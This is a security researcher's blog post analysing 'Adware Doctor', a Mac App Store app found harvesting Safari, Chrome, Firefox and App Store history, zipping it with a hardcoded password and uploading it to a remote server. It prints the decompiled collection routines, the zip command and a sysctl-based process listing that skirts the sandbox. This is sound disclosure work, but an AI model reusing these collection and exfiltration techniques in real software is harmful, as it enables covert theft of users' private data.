A Deceitful 'Doctor' in the Mac App Store
a massively popular app, surreptitiously steals your browsing history
09/07/2018
Our research, tools, and writing, are supported by "Friends of Objective-See"
Today's blog post is brought to you by:
Updates:
■ The application, "Adware Doctor" has now been removed from the Mac App Store!
■ I've uploaded the app's binary if you want to play along (download:
Adware Doctor.zip)
■ In Mojave, the sandbox will (always) protect private content, such as Safari's history.
■ While process enumeration is disallowed in the iOS sandbox, and yes, /bin/ps is blocked on in the macOS sandbox as as well, Apple has noted that sandboxed apps may still enumerate running processes (though this will likely change in the future).
Background
You probably trust applications in the Official Mac App Store. And why wouldn't you?
Apple states:
"The safest place to download apps for your Mac is the Mac App Store. Apple reviews each app before it’s accepted by the store, and if there’s ever a problem with an app, Apple can quickly remove it from the store."
However, it's questionable whether these statements actually hold true, as one of the top grossing applications in the Mac App Store surreptitiously exfiltrates highly sensitive user information to a (Chinese?) developer. Though Apple was contacted a month ago, and promised to investigate, the application remains available in Mac App Store even today.
Note:
The nefarious logic of the app was originally uncovered by
@privacyis1st. So major kudos to him!
After he reached out, we collaboratively investigated this issue together. #TeamWork
Adware Doctor
Adware Doctor claims to be the "best app" to remove a variety of common adware threats which target Mac users:
Found in the official Mac App Store, the application is massively popular. It is a top grossing application sitting at spot #4 ...meaning it is listed on Apple's main website!
In the category of "paid utilities", Adware Doctor holds the enviable title of being the #1 top grossing application:
At $4.99 a pop, somebody is raking in a ton of money!
Note:
There isn't a lot of information about the application's developer, "Yongming Zhang".
However, it's rather amusing (and perhaps, not a coincidence) that "Zhang Yongming" is an
infamous Chinese serial killer
A Troubled Past
Reading up on Adware Doctor we find it has a rather unscrupulous history.
In 2016 it was shown that the application was (ab)using AppleScript in an apparent attempt to perform elevated actions (in violation of Apple's App Store Guidelines):
Around that same time, Thomas Reed noted that:
"This same app was using the name "Adware Medic" a couple weeks ago, which happens to be the same name as my own very popular AdwareMedic app that got purchased by Malwarebytes. Apple pulled it from the store lickety-split, but it came right back as Adware Doctor."
Finally, the stellar reviews are bestowed upon Adware Doctor (and other applications by the same developer), are likely fake, as the application is specifically discussed in the insightful post, "Mac AppStore apps with fake reviews". Or...maybe it is truly one of the most amazing pieces of software ever written:
But this seems unlikely, especially as we dig a little more thru the app's reviews:
However, while these past actions are rather devious or underhanded, some would (understandable) argue they are not blatantly unconscionable. And though much of this unscrupulous behavior was reported to Apple, unfortunately they failed to decisively act. This of course only emboldened the application developer, who at some point crossed an indefensible line.
Did You Just Steal My Browser History!?
In a recent tweet, @privacyis1st noted that: "Adware Doctor is stealing your privacy":
In this tweet, he posted a link to a video, that appeared to show Adware Doctor collecting and stealthily exfiltrating a variety of sensitive user data including browser history. Yikes!
So, let's dive in a see what's going on! We'll use a combination of static analysis (disassemble) and dynamic analysis (network monitoring, file monitoring, & debugging) we get clear picture of what's going and ultimately confirm @privacyis1st's worrisome findings!
First, let's download Adware Doctor from the official Mac App Store ...yes, paying the $4.99. We can confirm the application (as is the case with all applications in the Mac App Store) is validly signed by Apple proper:
Launching the application, we can observe it making various network requests over HTTPS. For example, it connects to adwareres.securemacos.com and makes a GET request for /AdwareDoctor/master.1.5.5.js
As shown in the network capture, the downloaded master.1.5.5.js file contains some basic JSON configuration data:
{
"disable_rate": false,
"disable_prescan": false,
"sk_on": false,
"faq_link": "http://www.adwaredoctor.com/adware-doctor-faq/"
}
Clicking on the 'Clean' button in the application's UI triggers another network request, again to adwareres.securemacos.com but this time to download a second file named config1.5.0.js:
The downloaded config1.5.0.js file contains more JSON, most notably a link to the adware's signature ('pattern') database.
{
"update": true,
"version": "201808243",
"url": "https://adwareres.securemacos.com/patten/file201808243.db"
}
Rather unsurprisingly the application then downloads this database:
...though if we try to take a peek at it's contents, they appear to be encrypted (as is often the case with anti-adware/anti-virus signatures):
However in a debugger we simply wait until the application has decrypted the file in memory, and dump the (now) plaintext contents:
(lldb)
binaryContentMatchPatten = ({
md5 = (
48a96e1c00be257debc9c9c58fafaffe,
f1a19b8929ec88a81a6bdce6d5ee66e6,
3e653285b290c12d40982e6bb65928c1,
801e59290d99ecb39fd218227674646e,
8d0cd4565256a781f73aa1e68e2a63de,
e233edd82b3dffd41fc9623519ea281b,
1db830f93667d9c38dc943595dcc2d85,
...
browserHomePagePatten = (
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn";
},
{
name = "Chrome homepage: safefinder";
patten = "Chrome.*searchword.*/90/";
},
...
filePathPatten = (
"/Applications/WebShoppers",
"/Applications/WebShoppy",
"/Applications/SoftwareUpdater",
"/Applications/webshoppers",
"~/Library/Application Support/WebTools",
"~/Library/WebTools",
"/Applications/WebTools",
"/Applications/WebTools.app",
"/Applications/SmartShoppy",
"/Applications/ShopTool",
"/Applications/ShoppyTool",
"/Applications/EasyShopper",
...
launchPathMatchPatten = (
"com.WebShoppers.agent.plist",
"com.WebShoppy.agent.plist",
"com.webshoppers.agent.plist",
"com.SoftwareUpdater.agent.plist",
...
whitelist = (
"~/Library/LaunchAgents/com.spotify.webhelper.plist",
"/Library/LaunchDaemons/com.intel.haxm.plist",
"/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist",
"/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist",
"/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist",
"/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist",
"/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist",
"/Library/LaunchAgents/com.microsoft.update.agent.plist",
"/Library/LaunchDaemons/com.crashplan.engine.plist"
...
These definitely looks like legit anti-adware signatures, and the hashes do match known adware:
...such as Adware.MAC.Pirrit:
Back to the Adware Doctor UI, it's ready to "clean" your system:
Up until this point in our analysis nothing appeared out of the ordinary....but here is where things get shady AF.
First, while running a file monitor (such as Apple's built in fs_usage) and filtering (case-insensitively) on files containing history we noticed some very interesting file accesses:
# fs_usage -w -f filesystem | grep "Adware Doctor" | grep -i history
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryTransactions</b>
Adware Doctor.44148 open ~/Library/Application Support/<b>CallHistoryDB</b>
Adware Doctor.44148 RdData[A] /dev/disk1s1/Users/user/Library/Safari/<b>History.db</b>
Adware Doctor.44148 lstat64 /Users/user/Library/Application Support/Google/Chrome/Default/<b>History</b>
Adware Doctor.44148 open ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip
Adware Doctor.44148 lstat64 ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/appstoreHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/safariHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/chromeHistory
Adware Doctor.44148 WrData[A] ~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/firefoxHistory
And if we run a process monitor (such as my open-source ProcInfo utility), we can observe Adware Doctor spawning the built-in zip utility to create a password-protected archive history.zip:
# ./procInfo
process start:
pid: 2634
path: /bin/bash
args: (
"/bin/bash",
"-c",
"zip -r --quiet -P webtool \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/<b>history.zip</b>\" \"/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history\" > /dev/null"
)
Moreover, the network proxy monitor (Charles Proxy) captures a connection attempt from Adware Doctor to adscan.yelabapp.com:
By editing the system's /etc/hosts file we can redirect this request to a server we control and can capture what Adware Doctor is trying to upload. And what do you think that might be? If you guessed the history.zip file you would be correct!
# python https.py
listening for for HTTPS requests on port:443
192.168.86.76 - - [20/Aug/2018 10:53:24] "POST /1/checkadware HTTP/1.1" 200 -
Headers:
Host: adscan.yelabapp.com
Content-Type: multipart/form-data; boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510
Connection: keep-alive
Accept: */*
User-Agent: Adware%20Doctor/1026 CFNetwork/902.1 Darwin/17.7.0 (x86_64)
Content-Length: 15810
Accept-Language: en-us
Accept-Encoding: br, gzip, deflate
Path: /1/checkadware
Attachment: 'history.zip' (length: 15810)
The uploaded 'history.zip' archive is password protected:
Luckily figuring out the password is trivial. Looking back at the output of the process monitor, one can see that password was passed to the zip utility via the command line: zip -r --quiet -P webtool ....
The password is also hardcoded into the application's binary (which we'll get to in a minute, when reverse various parts of the binary).
Let's unzip the archive, entering webtool as the password:
...and wtf, indeed, as noted by @privacyis1st, the Adware Doctor is indeed surreptitiously stealing your browser history:
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/chromeHistory
Person 1:
https://www.google.com/search?q=if+i+punch+myself+in+the+face+and+it+hurts+does+that+make+me+weak+or+strong 2018-08-20 21:19:57
https://www.google.com/search?q=does+your+stomach+think+all+potatoes+are+mashed 2018-08-20 21:19:36
$ cat com.yelab.Browser-Sweeper/Data/Library/Application\ Support/com.yelab.Browser-Sweeper/history/safariHistory
https://www.google.com/search?client=safari&rls=en&q=What+are+the+best+investment+opportunities+in+Nigeria1397-06-02 08:29:41
https://www.google.com/search?client=safari&rls=en&q=Where+do+lost+socks+go+when+they+go+missing 1397-06-02 08:29:20
By redirecting DNS resolution, we can easily capture the exfiltrated data:
A Closer Look
Let's now tear apart the application to answer questions such as:
■ How does it 'bypass' the constraints of the Mac App Sandbox to access user's files?
■ How does it actually collect the user's browser history from all popular browsers?
■ What other system information and personally identifiable information (PII) is it collecting?
From a security and privacy point of view, one of the main benefits of installing applications from the official Mac App Store is that such applications are sandboxed. (The other benefit is that Apple supposedly vets all submitted applications - but as we've clearly shown here, they (sometimes?) do a miserable job.)
When an application runs inside a sandbox it is constrained by what files or user information it can access. For example, a sandboxed application from the Mac App Store should not be able to access a user's sensitive browser history. But Adware Doctor clearly found away.
Dumping the app's entitlements (via WhatsYourSign), we can see it has been granted com.apple.security.files.user-selected.read-write
This entitlement means the application can request permission to certain files, and with explicit user approval, then have read and write access to said files. When Adware Doctor is executed for the first time, it requests access to the user's home directory (~) and all files and directories underneath it as well:
This is done in code, in via the -[MainWindowController showFileAccess] method:
/* @class MainWindowController */
-(void)showFileAccess {
r15 = self;
var_30 = [[AppSandboxFileAccess fileAccess] retain];
r13 = [[AppSandboxFileAccess fileAccess] retain];
rbx = [[BSUtil realHomeDirectory] retain];
r14 = [r13 hasAccessPremisionPath:rbx];
...
...with assistance from the aptly named AppSandboxFileAccess class:
For example in a debugger (lldb), we observe the access check on the user's home directory:
Adware Doctor -[AppSandboxFileAccess hasAccessPremisionPath:]:
-> 0x10000cebf <+0>: pushq %rbp
0x10000cec0 <+1>: movq %rsp, %rbp
0x10000cec3 <+4>: pushq %r15
0x10000cec5 <+6>: pushq %r14
(lldb) po $rdi
<AppSandboxFileAccess: 0x1003797b0>
(lldb) x/s $rsi
0x10006a147: "hasAccessPremisionPath:"
(lldb) po $rdx
/Users/user
Now, an anti-malware or anti-adware tool is going to need legitimate access to user's files and directories - for example to scan them for malicious code. However, once the user has clicked Allow since Adware Doctor requested permission to the user's home directory, it will have carte blanche access to all the user's files. So yes will be able to detect and clean adware, but also collect and exfiltrate any user file, it so chooses!
Adware Doctor contains several methods for collecting a variety of information about the system and user. While some (such as a process list), perhaps have a legitimate reason for being collected by an anti-malware or anti-adware product, others such as the user's browsing history seem to be a blatant violation of the user's privacy (and of course Apple strict Mac App Store rules).
The collection methods are implemented in the ACEAdwareCleaner class and are named collect*:
Let's reverse some of these methods now!
First up, the collectSample method. This method consults the encrypted signature ('pattern') database that the application downloaded. It appears to be looking to collect the file specified in the sample key:
-(void)collectSample {
...
rbx = [r15 pattenDic];
r14 = [rbx valueForKey:@"sample"];
In a debugger we can step over this code, and examine the unencrypted value for the sample key:
(lldb) "/Application/Adware Doctor.app"
...
po $rax
<__NSArrayM 0x10732b5e0>(
NAME=`whoami`;echo /Users/"$NAME"/Library/LaunchAgents/com.apple.Yahoo.plist;
)
Ah it's looking for a file named com.apple.Yahoo.plist in the user's LaunchAgents directory. As I was not aware of any malware or adware that used this specific file name, I hopped on Google, which lead to article titled, "Mac下一款门罗币挖矿木马的简要分析"
(which roughly translates to "A brief analysis of a Monroe (crypto)coin mining trojan under the Mac"). Using the hashes provided in the writeup, we can locate related files on VirusTotal, including the com.apple.Yahoo.plist:
.
Kinda neat that Adware Doctor is hunting specifically for a new undetected crypto-miner (that appears be targeting users predominantly in China).
Next, lets analyze the collectPSCommonInfoToFile method. It's decompilation is littered with strings and verbose methods names, which reveals its purpose rather quickly:
/* @class ACEAdwareCleaner */
-(void)collectPSCommonInfoToFile:(void *)arg2 {
var_38 = [arg2 retain];
r14 = [[NSMutableString alloc] init];
[r14 appendString:@"===System===\n"];
rbx = [[ACECommon operatingSystem] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r14 appendString:@"===OS UpTime===\n"];
rbx = [[ACECommon getSystemUpTime] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r14 appendString:@"===Launch===\n"];
rbx = [[self readLaunchFolder:@"/Library/LaunchAgents"] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
rbx = [[self readLaunchFolder:@"/Library/LaunchDaemons"] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
r15 = [[ACECommon realHomeDirectory] retain];
r13 = [[NSString stringWithFormat:@"%@/Library/LaunchAgents", r15] retain];
rbx = [[self readLaunchFolder:r13] retain];
[r14 appendFormat:@"%@\n"];
[rbx release];
[r13 release];
[r15 release];
[r14 appendString:@"\n===Applications===\n"];
rbx = [[ACECommon fileStringWithPath:@"/Applications"] retain];
[r14 appendString:rbx];
[rbx release];
[r14 appendString:@"\n===process===\n"];
rbx = [[ACECommon collectProcessList] retain];
[r14 appendString:rbx];
[rbx release];
[r14 appendString:@"\n===process2===\n"];
rbx = [[ACECommon collectProcessList2] retain];
[r14 appendString:rbx];
[rbx release];
[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];
[var_38 release];
[r14 release];
return;
}
We could manually analyze all this code, but it's far simpler to simply let it execute, and set a breakpoint on the following line (near the end of the function):
[r14 writeToFile:var_38 atomically:0x1 encoding:0x4 error:0x0];
Once the breakpoint triggers, we can dump the collected data. We could also examine the first parameter to figure out the filename, then (after the data has been written out to disk), manually examine the file. The name of the file will be in the RDX register:
(lldb) po $rdx
/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history/psCommonInfo
The astute reader will notice that this file, psCommonInfo, was also exfiltrated to adscan.yelabapp.com (in the history.zip archive)
$ cat psCommonInfo
===System===
Version 10.13.6 (Build 17G65)
===OS UpTime===
1hour, 10minute, 31second
===Launch===
/Library/LaunchAgents/com.vmware.launchd.vmware-tools-userd.plist
444 root wheel
...
===Applications===
/Applications/DVD Player.app(1396-07-20 02:11:55 +0000)
/Applications/Siri.app(1396-07-27 03:17:13 +0000)
/Applications/QuickTime Player.app(1396-08-19 02:31:30 +0000)
/Applications/Chess.app(1396-06-15 01:20:21 +0000)
/Applications/Photo Booth.app(1396-04-25 01:50:31 +0000)
/Applications/Adware Doctor.app(1397-03-20 09:59:27 +0000)
....
===process2===
processID processName userID userName command
1759 bash 501 user /bin/bash
1758 login 0 root /usr/bin/login
1730 silhouette 501 user /usr/libexec/silhouette
1709 mdwrite 501 user /System/Library/Frame
....
You may be (rightfully) wondering how a sandboxed application is able to enumerate running processes?! And this is a fair question. Though Adware Doctor gains permission to enumerate user files via the com.apple.security.files.user-selected.read-write entitlement and explicit user approval, per the sandbox design, it still should not be able to list other running processes!
Recall the collectPSCommonInfoToFile: invokes the following two methods:
[r14 appendString:@"\n===process===\n"];
rbx = [[ACECommon collectProcessList] retain];
...
[r14 appendString:@"\n===process2===\n"];
rbx = [[ACECommon collectProcessList2] retain];
The method, collectProcessList attempts to enumerate all running processes via the built-in ps command:
(lldb) po $rdi
<NSConcreteTask: 0x107441f10>
(lldb) po [$rdi launchPath]
/bin/sh
(lldb) po [$rdi arguments]
<__NSArrayI 0x1002851f0>(
-c,
ps -e -c -o "pid uid user args"
)
However this is blocked (denied) by the macOS application sandbox, as enumerating running processes (from within the sandbox) is a "no-no":
/bin/sh: /bin/ps: Operation not permitted
Adware Doctor however, is rather unscrupulous, so and has another trick up its sleeve. Let's look at the collectProcessList2 method:
+(void *)collectProcessList2
{
...
rax = sub_1000519ad(&var_1068, &var_10A0,
@"processID\t\t\t processName\t\t\t userID\t\t\t userName\t\t\t command\n", rcx, r8, r9);
...
var_1070 = var_1068;
do {
...
proc_pidpath(*(int32_t *)(r14 - 0xcb), &var_1030, 0x1000);
} while (var_1088 > rax);
}
Ok, it calls sub_1000519ad then iterates over some list returned by that function, calling proc_pidpath. Seems safe to assume sub_1000519ad returns a list of process ids?
000000010007df90 dd 0x00000001 ;CTL_KERN
000000010007df94 dd 0x0000000e ;KERN_PROC
000000010007df98 dd 0x00000000 ;KERN_PROC_ALL
int sub_1000519ad(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
{
...
rax = sysctl(0x10007df90, 0x3, 0x0, r13, 0x0, 0x0);
if ((r12 ^ rax) == 0x1){
__assert_rtn("GetBSDProcessList",
"/Users/build1/Browser-Sweeper/src/Browser Sweeper/Pods/PodACE/Engine/ACECommon.m", ...
}
rbx = malloc(0x0);
rax = sysctl(0x10007df90, 0x3, rbx, r13, 0x0, 0x0);
The invocation of the sysctl function coupled with the string GetBSDProcessList (in the assert) give it away! It's (likely) just a copy and paste of Apple's GetBSDProcessList code (found in Technical Q&A QA1123 "Getting List of All Processes on Mac OS X"). Apparently this is how one can get a process listing from within the application sandbox! I'm guessing this method is unsanctioned (as it clearly goes against the design goals of sandbox isolation). And yes, rather amusing the code Adware Doctor uses to skirt the sandbox, is directly from Apple!
Now let's briefly chat about how Adware Doctor collects the user's browser history. In the aptly named collectBrowserHistoryAndProcess method there are calls to:
■ collectSafariHistoryToFile
■ collectChromeHistoryToFile
■ firefoxHistory
Rather unsurprisingly, each of these methods contain code to extract the user's history for each browser.
For Safari, this invokes parsing its History.db file:
+(void)collectSafariHistoryToFile:(void *)arg2 {
...
if ([ACECommon appInstalledByBundleId:@"com.apple.Safari"] != 0x0) {
r15 = [[ACECommon realHomeDirectory] retain];
rbx = [[r15 stringByAppendingPathComponent:@"Library/Safari/History.db"] retain];
r14 = [[FMDatabaseQueue databaseQueueWithPath:rbx] retain];
;parse database
}
else {
r14 = [[@"Safari not installed." dataUsingEncoding:0x4] retain];
[r12 writeData:r14];
[r14 release];
[r12 closeFile];
}
}
The collectChromeHistoryToFile is a little more involved, but essentially boils down to enumerating Chrome profiles, then parsing the Google/Chrome//History database.
+(void)collectChromeHistoryToFile:(void *)arg2 {
r13 = [[NSString stringWithFormat:@"Library/Application Support/Google/Chrome/%@/History"] retain];
rbx = [[rbx stringByAppendingPathComponent:r13] retain];
[r14 copyItemAtPath:rbx toPath:var_170 error:0x0];
...
rbx = [[FMDatabaseQueue databaseQueueWithPath:var_170] retain];
...
}
Finally, the collectFirefoxHistoryToFile method enumerates any Firefox profiles, before parsing each profile's places.sqlite database:
+(void)collectFirefoxHistoryToFile:(void *)arg2 {
...
r12 = [[NSString stringWithFormat:@"Library/Application Support/Firefox/Profiles/%@/places.sqlite"] retain];
r15 = [[rbx stringByAppendingPathComponent:r12] retain];
r14 = [[FMDatabaseQueue databaseQueueWithPath:r15] retain];
The application also has a method named collectAppStoreHistoryToFile which, why yes, will attempt to grab all your recent searches in the App Store App:
+(void)collectAppStoreHistoryToFile:(void *)arg2 {
...
15 = [[rbx stringByAppendingPathComponent:@"Library/Containers/com.apple.appstore/Data/Library/Caches/com.apple.appstore/WebKitCache/Version 11/Blobs", 0x0, 0x0] retain];
...
r12 = [r14 initWithFormat:@"%@/Library/Application Support/%@/appStoreData", r15, rbx]
...
ar_1A0 = @[@"-c", @"grep search.itunes * | sed 's/.*\(https:\/\/search\.itunes\.apple\.com.*q=.*\)\" .*/\1/'")]
}
Is nothing sacred!? :P
Once Adware Doctor's' cravings for (locally) collecting user data is satisfied, as noted, it zips everything up into history.zip file for exfiltration!
(lldb) po $rdi
<NSConcreteTask: 0x1003fa4b0>
(lldb) po [$rdi launchPath]
/bin/bash
(lldb) po [$rdi arguments]
<__NSArrayI 0x100352480>(
-c,
zip -r --quiet -P webtool "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history.zip" "/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application Support/com.yelab.Browser-Sweeper/history" > /dev/null
)
This file, along with a JSON blob containing a list of any software (.dmgs or .pkgs you've downloaded, and from where) is then uploaded to the server via a call to the sendPostRequestWithSuffix method (note the API endpoint: checkadware):
[var_1F0 sendPostRequestWithSuffix:@"checkadware" params:r12 file:rbx];
[
{
"content": "\/Users\/user\/Downloads\/googlechrome.dmg\n1397-06-02 21:15:46 +0000\n(\n \"https:\/\/dl.google.com\/chrome\/mac\/stable\/GGRO\/googlechrome.dmg\",\n \"https:\/\/www.google.com\/chrome\/\"\n)\n5533641bc4cc7af7784565ac2386a807\n"
},{
"content": "\/Users\/user\/Downloads\/charles-proxy-4.2.6.dmg\n1397-06-02 20:48:18 +0000\n(\n \"https:\/\/www.charlesproxy.com\/assets\/release\/4.2.6\/charles-proxy-4.2.6.dmg\",\n \"https:\/\/www.charlesproxy.com\/latest-release\/download.do\"\n)\nde043b43c49077bbdce75de22e2f2d54\n"
},{
"content": "\/Users\/user\/Downloads\/Firefox 61.0.2.dmg\n1397-06-02 21:16:08 +0000\n(\n \"https:\/\/download-installer.cdn.mozilla.net\/pub\/firefox\/releases\/61.0.2\/mac\/en-US\/Firefox%2061.0.2.dmg\",\n \"https:\/\/www.mozilla.org\/en-US\/firefox\/download\/thanks\/?v=a\"\n)\n65096904bf80c4dd12eb3ba833b7db8d\n"
},
...
]
--Boundary-D779386A-2A17-4264-955A-94C5FC6F5AFA
Content-Disposition: form-data; name="attachment"; filename="history.zip"
Content-Type: application/zip
...
Now, all your data are belong to China!
Note:
A few days ago, the API endpoint (or perhaps the subdomain), adscan.yelabapp.com went offline. It is not clear why this was the case. Perhaps the 'Adware Doctor' developers saw @privacyis1st's that identified this issue? Or maybe it's just down for maintenance, as other related API endpoints (such as www.yelabapp.com/1/) remain active.
However the version of the application in the official Mac App Store still (locally) collects all aforementioned data and still attempts to exfiltrate it. Thus, the developer, at any time, could bring this API endpoint back online and resume data collection!
Ramifications
From a purely technical point of view, Adware Doctor is only mildly interesting, though it does make a good case-study and 'walk thru' of reversing a macOS application. However, there are clearly bigger issues at play!
First, there is rather a MASSIVE privacy issue here. Let's face it, your browsing history provides a glimpse into almost every aspect of your life. And people have even been convicted of murder based largely on their internet searches!
The fact that application has been surreptitiously exfiltrating users' browsing history, possibly for years, is, to put it mildly, rather f#@&'d up!
Second, let's have a brief chat about the Mac App Store and Apple's role (or lack there of) in all of this.
Apple states:
"The safest place to download apps for your Mac is the Mac App Store. Apple reviews each app before it's accepted by the store, and if there’s ever a problem with an app, Apple can quickly remove it from the store."
While there is no doubt that downloading apps from the Mac App Store is, generally speaking, far safer than from some random website on the internet, the other claims in this statement perhaps lack some truthiness - at least in the case of Adware Doctor
As noted Adware Doctor has a long history of questionable behavior, and now acts in a manner that clearly violates Apple's App Store stringent rules and policies...in many ways! For example in the "Data Collection and Storage" section of the "App Store Rules & Guidelines" it states that:
■ Apps that collect user or usage data must secure user consent for the collection.
■ Apps must respect the user’s permission settings and not attempt to... trick, or force people to consent to unnecessary data access.
■ Developers that use their apps to surreptitiously discover ...private data, will be removed from the Developer Program.
At no point does Adware Doctor ask to exfiltrate your browser history. And its access to this very private data is clearly based on deceiving the user.
Beyond its mistreatment and blatant disrespect of user data, the fact that Adware Doctor "dances around" the Mac App Sandbox seems to clearly be another violation as well. For example, that fact that Apple blocks the invocation of ps illustrates the fact that sandboxed applications should not be enumerating running processes from within the sandbox. If an application developer finds away around this, this is still a violation.
If Apple is really "review[ing] each app before it's accepted by the store" ... how were these grave (and obvious) violations of this application missed!? Who knows, and maybe this one just slipped though. Maybe we should give them the benefit of the doubt, as yes we all make mistakes!
But this bring us to the next point. Apple also claims that "if there's ever a problem with an app, Apple can quickly remove it from the store". Maybe the key word here is "can".
A full month ago, we reported our findings to Apple, which they acknowledged, and promised to investigate:
...since then, crickets! Which of course is incredible frustrating.
How can Apple, who boldly state that "Privacy to us is a human right...a civil liberty" not take action?
Conclusion
In this blog post, we tore apart Adware Doctor - one of the top grossing apps in the official Mac App Store. This research (original credit: @privacyis1st) uncovered blatant violations of users' privacy and complete disregard of Apple's App Store Guidelines.
And surprising, though this was reported to Cupertino through official channels a month ago, the app remains in the Mac App Store even today!
It's tempting to wonder if Apple's 30% cut of each sale of this massively popular app has lead to such egregious inaction. And does it not seem that their laudable statements on supporting user privacy, are sadly only words?
The good news is, Apple can decisively act restoring our faith in both the Mac App Store, but more importantly in their commitment to all us users. How? Easy! By pulling the app and refunding all affected users. As though we'll never get our browser history back, recovering our hard-earned money would be a start! Your move Apple ♡
Love these blog posts & tools? You can support them via patreon! Mahalo :)